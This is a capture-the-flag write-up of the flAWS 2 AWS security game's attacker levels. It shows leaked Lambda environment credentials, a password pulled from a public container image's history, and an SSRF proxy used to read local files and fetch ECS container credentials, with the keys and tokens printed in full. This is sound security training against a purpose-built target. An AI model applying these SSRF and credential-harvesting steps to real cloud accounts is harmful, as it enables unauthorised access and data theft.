flAWS 2 challenge [..] teaches you AWS (Amazon Web Services) security concepts. The challenges are focused on AWS specific issues, so no buffer overflows, XSS, etc. You can play by getting hands-on-keyboard or just click through the hints to learn the concepts and go from one level to the next without playing.
flAWS 2 has two paths this time: Attacker and Defender! In the Attacker path, you'll exploit your way through misconfigurations in serverless (Lambda) and containers (ECS Fargate). In the Defender path, that target is now viewed as the victim and you'll work as an incident responder for that same app, understanding how an attack happened. You'll get access to logs of a previous successful attack. As a Defender you'll learn the power of jq in analyzing logs, and instructions on how to set up Athena in your own environment.
For the writeups and notes to the other flAWS challenges:
Before starting, I wanted to say thank you again to the creator of these games, Scott Piper of summitroute for the effort of designing, hosting and making them available for free for everyone! All the levels are highly educative and recommended for anyone interested in AWS security.
Level 1
For this level, you'll need to enter the correct PIN code. The correct PIN is 100 digits long, so brute forcing it won't help.
The first hint tells us to look at the JavaScript code. There is a client-side check on the parameter, which needs to be a number. This suggests that the backend application only accepts numbers.
function validateForm() {
var code = document.forms["myForm"]["code"].value;
if (!(!isNaN(parseFloat(code)) && isFinite(code))) {
alert("Code must be a number");
return false;
}
}
Form data is validated as follows:
<form name="myForm" action="https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1" onsubmit="return validateForm()">
Code: <input type="text" name="code" value="1234">
<br><br>
<input type="submit" value="Submit">
</form>
Let’s try an invalid input and see what happens:
2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=aaa
Error, malformed input
{"PATH":"/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin","LD_LIBRARY_PATH":"/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib","LANG":"en_US.UTF-8","TZ":":UTC","LAMBDA_TASK_ROOT":"/var/task","LAMBDA_RUNTIME_DIR":"/var/runtime","AWS_REGION":"us-east-1","AWS_DEFAULT_REGION":"us-east-1","AWS_LAMBDA_LOG_GROUP_NAME":"/aws/lambda/level1","AWS_LAMBDA_LOG_STREAM_NAME":"2019/11/03/[$LATEST]cccc0a37345a46b39d4b8a60f2b62b66","AWS_LAMBDA_FUNCTION_NAME":"level1","AWS_LAMBDA_FUNCTION_MEMORY_SIZE":"128","AWS_LAMBDA_FUNCTION_VERSION":"$LATEST","_AWS_XRAY_DAEMON_ADDRESS":"169.254.79.2","_AWS_XRAY_DAEMON_PORT":"2000","AWS_XRAY_DAEMON_ADDRESS":"169.254.79.2:2000","AWS_XRAY_CONTEXT_MISSING":"LOG_ERROR","_X_AMZN_TRACE_ID":"Root=1-5dbecfe6-0ea4e36c115f65a44848e788;Parent=12db6171262706d6;Sampled=0","AWS_EXECUTION_ENV":"AWS_Lambda_nodejs8.10","_HANDLER":"index.handler","NODE_PATH":"/opt/nodejs/node8/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task:/var/runtime/node_modules","AWS_ACCESS_KEY_ID":"ASIAZQNB3KHGMCKNDKFP","AWS_SECRET_ACCESS_KEY":"hq73xAPItXJdI5QOuwrbAp1RSeOHqNMhX+rR943w","AWS_SESSION_TOKEN":"IQoJb3JpZ2luX2VjEBUaCXVzLWVhc3QtMSJHMEUCIAivjnHKWl/7dbwK2dH3FCQxb9xa819AYNUFpabUTNN1AiEA+FJRUCQ0r0VgSyvhe7kh/JuFgIHZW4bYkX2bQ40GXfMqxQEILhABGgw2NTM3MTEzMzE3ODgiDCdo3a4XvhCxiHXtciqiAT6ju04Rc5+I/96OjS+gz37pb64x62f0lbQQRMwolN3G6FYWqUbIR1DNtsxEGmCPEVGsbtKl2bxGTRgMcuQqEJCIf/bE5Kimx3KgTJcoiyQwunMAIlJwJbRRV9Jhc6dPCS6BI9wBMT5PBmqRD9Qat7sDMoss3kzsm7G+AaMF5EN8u0RgD+jo12MmtL+kniU4NrPz5BdHyWl2nbRwtB3GNR3QtjDqnPvtBTrgAYLAx5pyfBWt+MBOqhjjHLN4w/86kvcAN7jkkycFljRx/pPcyD2k5WJcaxGnTioHmcIpso9nmZarbqEx9kuRtzz8rrgBFoGwJwTA+HW33VeeDRVYybdzJaasExoXtS1ziNdR+g/Kzm4STjms/eg0N0Qp69lapE+TtzCEEJOq9W/dvLLaGiRKEe7dFNqbovXRR2m3t6T26a/kkXnQw9PT78iSLVeG5sB6bR4PtdDa6m/ZlsbdztG//fhgJ+ktCQqweCg+LH+lY1ljygzyDTQJUuds4pCVtFGMpMxz5XZhwMv7"}
The JSON object, after beautifying, looks like this:
{
"PATH": "/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin",
"LD_LIBRARY_PATH": "/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib",
"LANG": "en_US.UTF-8",
"TZ": ":UTC",
"LAMBDA_TASK_ROOT": "/var/task",
"LAMBDA_RUNTIME_DIR": "/var/runtime",
"AWS_REGION": "us-east-1",
"AWS_DEFAULT_REGION": "us-east-1",
"AWS_LAMBDA_LOG_GROUP_NAME": "/aws/lambda/level1",
"AWS_LAMBDA_LOG_STREAM_NAME": "2019/11/03/[$LATEST]cccc0a37345a46b39d4b8a60f2b62b66",
"AWS_LAMBDA_FUNCTION_NAME": "level1",
"AWS_LAMBDA_FUNCTION_MEMORY_SIZE": "128",
"AWS_LAMBDA_FUNCTION_VERSION": "$LATEST",
"_AWS_XRAY_DAEMON_ADDRESS": "169.254.79.2",
"_AWS_XRAY_DAEMON_PORT": "2000",
"AWS_XRAY_DAEMON_ADDRESS": "169.254.79.2:2000",
"AWS_XRAY_CONTEXT_MISSING": "LOG_ERROR",
"_X_AMZN_TRACE_ID": "Root=1-5dbecfe6-0ea4e36c115f65a44848e788;Parent=12db6171262706d6;Sampled=0",
"AWS_EXECUTION_ENV": "AWS_Lambda_nodejs8.10",
"_HANDLER": "index.handler",
"NODE_PATH": "/opt/nodejs/node8/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task:/var/runtime/node_modules",
"AWS_ACCESS_KEY_ID": "ASIAZQNB3KHGMCKNDKFP",
"AWS_SECRET_ACCESS_KEY": "hq73xAPItXJdI5QOuwrbAp1RSeOHqNMhX+rR943w",
"AWS_SESSION_TOKEN": "IQoJb3JpZ2luX2VjEBUaCXVzLWVhc3QtMSJHMEUCIAivjnHKWl/7dbwK2dH3FCQxb9xa819AYNUFpabUTNN1AiEA+FJRUCQ0r0VgSyvhe7kh/JuFgIHZW4bYkX2bQ40GXfMqxQEILhABGgw2NTM3MTEzMzE3ODgiDCdo3a4XvhCxiHXtciqiAT6ju04Rc5+I/96OjS+gz37pb64x62f0lbQQRMwolN3G6FYWqUbIR1DNtsxEGmCPEVGsbtKl2bxGTRgMcuQqEJCIf/bE5Kimx3KgTJcoiyQwunMAIlJwJbRRV9Jhc6dPCS6BI9wBMT5PBmqRD9Qat7sDMoss3kzsm7G+AaMF5EN8u0RgD+jo12MmtL+kniU4NrPz5BdHyWl2nbRwtB3GNR3QtjDqnPvtBTrgAYLAx5pyfBWt+MBOqhjjHLN4w/86kvcAN7jkkycFljRx/pPcyD2k5WJcaxGnTioHmcIpso9nmZarbqEx9kuRtzz8rrgBFoGwJwTA+HW33VeeDRVYybdzJaasExoXtS1ziNdR+g/Kzm4STjms/eg0N0Qp69lapE+TtzCEEJOq9W/dvLLaGiRKEe7dFNqbovXRR2m3t6T26a/kkXnQw9PT78iSLVeG5sB6bR4PtdDa6m/ZlsbdztG//fhgJ+ktCQqweCg+LH+lY1ljygzyDTQJUuds4pCVtFGMpMxz5XZhwMv7"
}
We’ll configure the AWS CLI with these 3 parameters (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY and AWS_SESSION_TOKEN) in ~/.aws/credentials and then inspect the bucket:
~ aws --profile part2-attacker-level1 s3 ls s3://level1.flaws2.cloud
PRE img/
2018-11-20 20:55:05 17102 favicon.ico
2018-11-21 02:00:22 1905 hint1.htm
2018-11-21 02:00:22 2226 hint2.htm
2018-11-21 02:00:22 2536 hint3.htm
2018-11-21 02:00:23 2460 hint4.htm
2018-11-21 02:00:17 3000 index.htm
2018-11-21 02:00:17 1899 secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html
Visiting that secret page gives us the link to the next level:
level2-g9785tw8478k4awxtbox9kk3c5ka8iiz.flaws2.cloud
Level 2
This next level is running as a container at http://container.target.flaws2.cloud/. Just like S3 buckets, other resources on AWS can have open permissions. I'll give you a hint that the ECR (Elastic Container Registry) is named "level2".
So this level is running as a container. If an ECR is public, we can list all the images in the registry like this:
~ aws ecr list-images --repository-name REPO_NAME --registry-id ACCOUNT_ID
In this case the repository name is level2 and the registry-id is the AWS account ID associated with the registry. We can find out this account using the profile created in the previous level:
~ aws --profile part2-attacker-level1 sts get-caller-identity
{
"Account": "653711331788",
"UserId": "AROAIBATWWYQXZTTALNCE:level1",
"Arn": "arn:aws:sts::653711331788:assumed-role/level1/level1"
}
With this information, let’s try to list the images:
~ aws --profile part2-attacker-level1 ecr list-images --repository-name level2 --registry-id 653711331788
You must specify a region. You can also configure your region by running "aws configure".
We also need to get the correct region:
~ dig level2-g9785tw8478k4awxtbox9kk3c5ka8iiz.flaws2.cloud
. . .
;; ANSWER SECTION:
level2-g9785tw8478k4awxtbox9kk3c5ka8iiz.flaws2.cloud. 5 IN A 52.217.37.195
~ nslookup 52.217.37.195
Server: 172.16.174.2
Address: 172.16.174.2#53
Non-authoritative answer:
195.37.217.52.in-addr.arpa name = s3-website-us-east-1.amazonaws.com.
Notice that the region is different from the one used in the first flAWS challenge.
~ aws --profile part2-attacker-level1 ecr list-images --repository-name level2 --registry-id 653711331788 --region us-east-1
{
"imageIds": [
{
"imageTag": "latest",
"imageDigest": "sha256:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e"
}
]
}
One of the hints is very helpful:
Now that you know the image is public, you have two choices, you can either download it locally with docker pull and investigate it with Docker commands or do things more manually with the AWS CLI.
Option 1: Use Docker
First get a token to log in into the registry.
~ aws --profile part2-attacker-level1 --region us-east-1 ecr get-login
docker login -u AWS -p eyJwYXlsb2FkIjoibzB..U5ODU5fQ== https://653711331788.dkr.ecr.us-east-1.amazonaws.com
WARNING! Using --password via the CLI is insecure. Use --password-stdin.
Then pull the image from the repository:
~ docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
latest: Pulling from level2
7b8b6451c85f: Pull complete
ab4d1096d9ba: Pull complete
e6797d1788ac: Pull complete
e25c5c290bde: Pull complete
96af0e137711: Pull complete
2057ef5841b5: Pull complete
e4206c7b02ec: Pull complete
501f2d39ea31: Pull complete
f90fb73d877d: Pull complete
4fbdfdaee9ae: Pull complete
Digest: sha256:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e
Status: Downloaded newer image for 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
We can also verify it’s been pulled correctly:
~ docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
653711331788.dkr.ecr.us-east-1.amazonaws.com/level2 latest 2d73de35b781 11 months ago 202M
Docker inspect
command shows the final command executed and a number of read-only layers:
~ docker inspect 2d73de35b781
[
{
"Id": "sha256:2d73de35b78103fa305bd941424443d520524a050b1e0c78c488646c0f0a0621",
"RepoTags": [
"653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest"
],
"RepoDigests": [
"653711331788.dkr.ecr.us-east-1.amazonaws.com/level2@sha256:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e"
],
"Parent": "",
"Comment": "",
"Created": "2018-11-27T03:32:59.959842964Z",
"Container": "ac1212c533fd9920b36cf3518caeb27b07e5efca6d40a0cfb07acc94c3f02055",
"ContainerConfig": {
"Hostname": "ac1212c533fd",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"ExposedPorts": {
"80/tcp": {}
},
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],
"Cmd": [
"/bin/sh",
"-c",
"#(nop) ",
"CMD [\"sh\" \"/var/www/html/start.sh\"]"
],
"ArgsEscaped": true,
"Image": "sha256:6bb13d45a562a2f15ca30b6a895698b27231a190049f1d4489aeba4fa86a75fe",
"Volumes": null,
"WorkingDir": "",
"Entrypoint": null,
"OnBuild": null,
"Labels": {}
},
"DockerVersion": "18.09.0",
"Author": "",
"Config": {
"Hostname": "",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"ExposedPorts": {
"80/tcp": {}
},
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],
"Cmd": [
"sh",
"/var/www/html/start.sh"
],
"ArgsEscaped": true,
"Image": "sha256:6bb13d45a562a2f15ca30b6a895698b27231a190049f1d4489aeba4fa86a75fe",
"Volumes": null,
"WorkingDir": "",
"Entrypoint": null,
"OnBuild": null,
"Labels": null
},
"Architecture": "amd64",
"Os": "linux",
"Size": 201856589,
"VirtualSize": 201856589,
"GraphDriver": {
"Data": {
"LowerDir": "/mnt/sda1/var/lib/docker/overlay2/48318ec788ae06994af0a5495054096013bd07b20fc332ef6f83dc7122d2e724/diff:/mnt/sda1/var/lib/docker/overlay2/7e33fdfcf67b80e4037bc3097a3cb2cea2bd97d5817a969ea222e33e0657200c/diff:/mnt/sda1/var/lib/docker/overlay2/ca44ae798112d6f6ae0d3cc75468c5d09b5b6e9a9c3f15ce89a610083652e25f/diff:/mnt/sda1/var/lib/docker/overlay2/b871ecf46d649c0ba97802fd0f7b84a6622c024a9d7be0956f125ecb4f805d9d/diff:/mnt/sda1/var/lib/docker/overlay2/1e9209de22179ef94b43a2490e5659290db9fb00b2d3e65a5f9147a640ff73e1/diff:/mnt/sda1/var/lib/docker/overlay2/f6253954870b0fd009e8520be8088bfc600815317d52e57d519a2bca9d82980e/diff:/mnt/sda1/var/lib/docker/overlay2/4b6bb022693f9651ded3240426e15c24e7205ff88dc32cf600fbffb68934bb4e/diff:/mnt/sda1/var/lib/docker/overlay2/4d2a4b1bec22ee8cb937bb13b053fe06834b852c2b881e5e3315ca3038ddff42/diff:/mnt/sda1/var/lib/docker/overlay2/9045870c85acde0881ccbd892392780e4fb1fbc6e8192d20292f5e8d37658aa5/diff",
"MergedDir": "/mnt/sda1/var/lib/docker/overlay2/790fe4e9bee7df6910bd444767cdf9f9f0159bd381fe1b704332eac7f501e086/merged",
"UpperDir": "/mnt/sda1/var/lib/docker/overlay2/790fe4e9bee7df6910bd444767cdf9f9f0159bd381fe1b704332eac7f501e086/diff",
"WorkDir": "/mnt/sda1/var/lib/docker/overlay2/790fe4e9bee7df6910bd444767cdf9f9f0159bd381fe1b704332eac7f501e086/work"
},
"Name": "overlay2"
},
"RootFS": {
"Type": "layers",
"Layers": [
"sha256:41c002c8a6fd36397892dc6dc36813aaa1be3298be4de93e4fe1f40b9c358d99",
"sha256:647265b9d8bc572a858ab25a300c07c0567c9124390fd91935430bf947ee5c2a",
"sha256:819a824caf709f224c414a56a2fa0240ea15797ee180e73abe4ad63d3806cae5",
"sha256:3db5746c911ad8c3398a6b72aa30580b25b6edb130a148beed4d405d9c345a29",
"sha256:1c1ac3ae43d53b452e0dfb320a5c22cf8ff5e8068a7ecef6779600d14ad4751b",
"sha256:bc16ef0350ee1577dfe09696bff225b40d241b26a359c146ffd5746a8ce18931",
"sha256:5db51ba604f0593199b4d8705a21fe6b1bc6cee503f7468539f6a80aa3cc4750",
"sha256:4e7b9bca030ac43814d0a6c6afed36f70fc2bb01a9dd84705358f424af1dae1e",
"sha256:5494da4989bbd817e20ead7cbaa8985d9907db95ea07b3e212e2e483de767f1d",
"sha256:67df634e1db11f3a6533ed051811c8290b69d7104550617dcc79303304cc78bb"
]
},
"Metadata": {
"LastTagTime": "0001-01-01T00:00:00Z"
}
}
]
Docker images are composed of layers, which are intermediate build stages of the image. Each line in a Dockerfile results in the creation of a new layer. For more details about Docker layers, check this in-depth explanation - Digging into Docker layers.
We can view the commands used to create all the layers when the docker container was built:
~ docker history 2d73de35b781
IMAGE CREATED CREATED BY SIZE COMMENT
2d73de35b781 11 months ago /bin/sh -c #(nop) CMD ["sh" "/var/www/html/… 0B
<missing> 11 months ago /bin/sh -c #(nop) EXPOSE 80 0B
<missing> 11 months ago /bin/sh -c #(nop) ADD file:d29d68489f34ad718… 49B
<missing> 11 months ago /bin/sh -c #(nop) ADD file:f8fd45be7a30bffa5… 614B
<missing> 11 months ago /bin/sh -c #(nop) ADD file:fd3724e587d17e4bc… 1.89kB
<missing> 11 months ago /bin/sh -c #(nop) ADD file:b311a5fa51887368e… 999B
<missing> 11 months ago /bin/sh -c htpasswd -b -c /etc/nginx/.htpass… 45B
<missing> 11 months ago /bin/sh -c apt-get update && apt-get ins… 85.5MB
<missing> 11 months ago /bin/sh -c #(nop) CMD ["/bin/bash"] 0B
<missing> 11 months ago /bin/sh -c mkdir -p /run/systemd && echo 'do… 7B
<missing> 11 months ago /bin/sh -c rm -rf /var/lib/apt/lists/* 0B
<missing> 11 months ago /bin/sh -c set -xe && echo '#!/bin/sh' > /… 745B
<missing> 11 months ago /bin/sh -c #(nop) ADD file:efec03b785a78c01a… 116MB
Notice that the command to set up the password for HTTP Basic Authentication - /bin/sh -c htpasswd -b -c /etc/nginx/.htpass...
appears incomplete. To get the full command, run the above with —no-trunc
parameter.
These are the parameters we were looking for:
/bin/sh -c htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password
Try them on http://container.target.flaws2.cloud to get the link to level 3:
Finally, level 3 is at level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud
Option 2: Use AWS CLI
We can dig a bit into the image without using Docker:
~ aws --profile part2-attacker-level1 --region us-east-1 ecr batch-get-image --repository-name level2 --registry-id 653711331788 --image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
{
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": {
"mediaType": "application/vnd.docker.container.image.v1+json",
"size": 5359,
"digest": "sha256:2d73de35b78103fa305bd941424443d520524a050b1e0c78c488646c0f0a0621"
},
"layers": [
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"size": 43412182,
"digest": "sha256:7b8b6451c85f072fd0d7961c97be3fe6e2f772657d471254f6d52ad9f158a580"
},
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"size": 848,
"digest": "sha256:ab4d1096d9ba178819a3f71f17add95285b393e96d08c8a6bfc3446355bcdc49"
},
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"size": 619,
"digest": "sha256:e6797d1788acd741d33f4530106586ffee568be513d47e6e20a4c9bc3858822e"
},
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"size": 168,
"digest": "sha256:e25c5c290bded5267364aa9f59a18dd22a8b776d7658a41ffabbf691d8104e36"
},
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"size": 32516034,
"digest": "sha256:96af0e137711cf1b2bf6e95528fbf861b2beef58c382bdadcf8062851e7005bb"
},
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"size": 217,
"digest": "sha256:2057ef5841b5bc57c66088d7d99898e6b7a516feaf2e66a7a4c69e6b40a03472"
},
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"size": 619,
"digest": "sha256:e4206c7b02ec71b1262ad18216e1203da19e5292fcf636392e0ed969871bb235"
},
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"size": 893,
"digest": "sha256:501f2d39ea313392ab1e2b4b6b7d9213c60335d3c508fc02b3bdae9792ae2d32"
},
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"size": 508,
"digest": "sha256:f90fb73d877d9ce2e2220a1340d2e347b0c7baa2d120ce02c8731d666cdb1cac"
},
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"size": 213,
"digest": "sha256:4fbdfdaee9ae20c6e877bd57838c6f93336573195f4aafcdec36fb4c4358a935"
}
]
}
Again, see the multiple layers. We cold download any one of them based on its digest:
~ aws --profile part2-attacker-level1 --region us-east-1 ecr get-download-url-for-layer --repository-name level2 --registry-id 653711331788 --layer-digest "sha256:7b8b6451c85f072fd0d7961c97be3fe6e2f772657d471254f6d52ad9f158a580"
{
"downloadUrl": "https://prod-us-east-1-starport-layer-bucket.s3.amazonaws.com/dc26-653711331788-58b3a0a8-1806-5777-1315-c2d788e36c12/f1bebb74-3af2-4d58-8bbe-cfec79c8ceb3?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20191103T222710Z&X-Amz-SignedHeaders=host&X-Amz-Expires=3600&X-Amz-Credential=AKIAI7KZ4NTCV2EWBNUQ%2F20191103%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=e54106bd045adef036d5ed36d3c3d3a06d161ef253a613af7e289d828667720a",
"layerDigest": "sha256:7b8b6451c85f072fd0d7961c97be3fe6e2f772657d471254f6d52ad9f158a580"
}
~ wget "https://prod-us-east-1-starport-layer-bucket.s3.amazonaws.com/dc26-653711331788-58b3a0a8-1806-5777-1315-c2d788e36c12/f1bebb74-3af2-4d58-8bbe-cfec79c8ceb3?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20191103T222710Z&X-Amz-SignedHeaders=host&X-Amz-Expires=3600&X-Amz-Credential=AKIAI7KZ4NTCV2EWBNUQ%2F20191103%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=e54106bd045adef036d5ed36d3c3d3a06d161ef253a613af7e289d828667720a" -O layer.tar.gzip
Or, it would be easier to just download the config file:
~ aws --profile part2-attacker-level1 --region us-east-1 ecr get-download-url-for-layer --repository-name level2 --registry-id 653711331788 --layer-digest "sha256:2d73de35b78103fa305bd941424443d520524a050b1e0c78c488646c0f0a0621"
{
"downloadUrl": "https://prod-us-east-1-starport-layer-bucket.s3.amazonaws.com/c814-653711331788-58b3a0a8-1806-5777-1315-c2d788e36c12/1e964f10-a061-4e7b-9290-4447e821fe9a?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20191103T224834Z&X-Amz-SignedHeaders=host&X-Amz-Expires=3600&X-Amz-Credential=AKIAI7KZ4NTCV2EWBNUQ%2F20191103%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=e9509da5e60f011f2959bc7db29a5bcbbda95167f51f193cb4e9100f742eba54",
"layerDigest": "sha256:2d73de35b78103fa305bd941424443d520524a050b1e0c78c488646c0f0a0621"
}
~ wget "https://prod-us-east-1-starport-layer-bucket.s3.amazonaws.com/c814-653711331788-58b3a0a8-1806-5777-1315-c2d788e36c12/1e964f10-a061-4e7b-9290-4447e821fe9a?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20191103T224834Z&X-Amz-SignedHeaders=host&X-Amz-Expires=3600&X-Amz-Credential=AKIAI7KZ4NTCV2EWBNUQ%2F20191103%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=e9509da5e60f011f2959bc7db29a5bcbbda95167f51f193cb4e9100f742eba54" -O config
This contains all the commands used to create the layers, including the one we were looking for:
~ cat config | jq
. .
{
"created": "2018-11-27T03:32:58.202361504Z",
"created_by": "/bin/sh -c htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password"
},
Level 3
The container's webserver you got access to includes a simple proxy that can be access with:
http://container.target.flaws2.cloud/proxy/http://flaws.cloud or
http://container.target.flaws2.cloud/proxy/http://neverssl.com
Again we’re dealing with a proxy. But this time we cannot read the metadata anymore: http://container.target.flaws2.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials
One of the hints tells us that we can also read local files with this proxy. Pretty cool, let’s see:
http://container.target.flaws2.cloud/proxy/file:///proc/self/environ
HOSTNAME=ip-172-31-56-11.ec2.internal
HOME=/root
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/9c3439c4-b560-4aac-aa62-f904a24a34e6
AWS_EXECUTION_ENV=AWS_ECS_FARGATE
AWS_DEFAULT_REGION=us-east-1
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/c88043c3-94ac-4650-a13f-1c15293a5a31
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_REGION=us-east-1
PWD=/
Out of curiosity, we could even see the proxy script file. In the previous level one of the commands for one of the layers mentioned this interesting file: /var/www/html/proxy.py
:
http://container.target.flaws2.cloud/proxy/file:////var/www/html/proxy.py
import SocketServer
import SimpleHTTPServer
import urllib
import os
PORT = 8000
class Proxy(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
# Remove starting slash
self.path = self.path[1:]
# Read the remote site
response = urllib.urlopen(self.path)
the_page = response.read(8192)
# Return it
self.wfile.write(bytes(the_page))
self.wfile.close()
httpd = SocketServer.ForkingTCPServer(('', PORT), Proxy)
print "serving at port", PORT
httpd.serve_forever()
From inside a container, we could query the credentials using with the following command:
~ curl 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
Let’s use the proxy to make the request:
{
"RoleArn": "arn:aws:iam::653711331788:role/level3",
"AccessKeyId": "ASIAZQNB3KHGNJDDVTOZ",
"SecretAccessKey": "VKIJckMjWld1oTJIb0e0y5KixY3FLF5Py+oplsNW",
"Token": "FwoGZXIvYXdzEC8aDNofefCYUAGaQebFECLgAuJuvG3iYlMkMl9PPpsjwIi7p6SSbFs231RiquEJqnDZlusZ9etGxmRxWsj1n2CmnrgVA+GztQZZ63J7Bu3jk+15HoyeJ/mfALIiq4SuUB1rwHzbYr2oQrQ14WyE1zjE7eGJmsP5ADbss8o4AtNUR6fe2JmYLWCsdIZj9OToCOm+Ch58L7EWYiTAshTBCkoQ6WFkf5SehZN1qeqaFr9xT7y6jql4bJ+BK+dUPU/Mkj7VCR6YVdvLGwyaxOLW9e0IyNu4ZxKb8Pig0Y6JtT8HtSpOB/KEf8hBiDAXBRm0k/fBQWbK7sOD9ftL9Fwjbw9FpAHpyu9YPzzpsm8DCuK87Un9cMJTQ7DNqT5xmzQz7/hvox4hmRPpECKf1/rOcIHYzQcUfUEi2BoepAC0/57TT+isFSlNogKJXqdGtR9B+donfdbfd+HwsEnwVNDpK03r26/SoNpsk0+Gsm028hW1V7IokI397QUyngGuPsDYraOKRML0Q4A379l+NP5ZeEcoUv7O5KrOC49xRyhBz2mtBGKJqdjbH7z9CzTL2gNmroJYbl3wuLRg1YPhSOjWl57DlEG9z+a3su00b3DxwdSaOXWaH6wD7i/xFPM2MviCgpuqlXgJxKzlXvVq0o/OqV4IncoBG98yOdS7KN4nNY2fkp7o+rJf9e7dJpGzvb+LIBPAuKY+dnXutw==",
"Expiration": "2019-11-04T03:28:48Z"
}
Add these credentials, including the token, to ~/.aws/credentials
then list all the buckets visible to this profile:
~ aws --profile attacker-level3 --region us-east-1 s3 ls
2018-11-20 19:50:08 flaws2.cloud
2018-11-20 18:45:26 level1.flaws2.cloud
2018-11-21 01:41:16 level2-g9785tw8478k4awxtbox9kk3c5ka8iiz.flaws2.cloud
2018-11-26 19:47:22 level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud
2018-11-27 20:37:27 the-end-962b72bjahfm5b4wcktm8t9z4sapemjb.flaws2.cloud
The final link is: http://the-end-962b72bjahfm5b4wcktm8t9z4sapemjb.flaws2.cloud